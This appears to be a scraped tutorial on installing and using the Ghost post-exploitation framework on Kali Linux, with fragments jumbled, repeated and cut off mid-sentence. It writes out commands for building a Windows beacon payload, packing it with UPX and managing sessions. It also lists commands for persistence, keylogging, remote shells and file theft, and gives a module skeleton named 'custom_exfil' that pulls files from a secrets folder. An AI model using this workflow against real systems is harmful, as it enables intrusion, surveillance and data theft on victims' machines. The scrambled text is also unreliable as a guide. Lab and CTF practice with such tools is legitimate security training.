ghost You should see the ASCII banner and a prompt: Ghost >
https://github.com/EntySec/Ghost
ghost > sessions Interact with session ID 1:
sudo python3 setup.py install Alternatively, if you want to run from source without installation: ghost framework kali linux github
cd Ghost Ghost requires Python 3.9+ and a handful of pip packages. The framework includes an installer script, but I prefer to inspect dependencies first.
git clone https://github.com/EntySec/Ghost.git Navigate into the directory:
pip3 install -r requirements.txt If you get ModuleNotFoundError: No module named 'gnureadline' , run pip3 install gnureadline . Kali rolling often misses this. Step 3: Launching the Ghost Console Start the framework with: ghost You should see the ASCII banner and
The primary workflow is: build -> deploy -> listen -> interact . 1. Create a payload (Windows example) ghost > build windows/x64 my_beacon.exe This generates a position-independent executable. Use UPX if you want smaller size:
Clone it today. Run it in your lab. Break it. Then fix it. That's how you learn. Have you used Ghost in a recent engagement or CTF? Drop your experience in the comments – especially if you've written a custom module.
If you are tired of manually managing payloads and listeners, Ghost is the post-exploitation Swiss Army knife you need. In this guide, we will clone the infamous ghostframework from GitHub, install it on Kali Linux, and walk through its core capabilities. Ghost is an open-source, Python-based post-exploitation and remote administration framework. Think of it as a lightweight, modular alternative to heavier frameworks like Cobalt Strike (without the price tag) or a more structured version of Meterpreter. Kali rolling often misses this
| Command | What it does | |---------|---------------| | sysinfo | OS, hostname, architecture, uptime | | persist | Install startup persistence (Registry/Run key) | | keylog | Capture keystrokes from the target | | screenshot | Grab remote desktop (Windows GDI) | | shell | Drop into an interactive cmd.exe | | upload /local/path /remote/path | Exfil tools | | download C:\secret\data.txt | Steal files |
Enter .
ghost > sessions -i 1 Inside an active session, you can load modules:
class GhostModule: def __init__(self): self.info = "Name": "custom_exfil", "Author": "you" def run(self, session, args): # Your post-ex logic here return session.download("C:\\secrets\\*")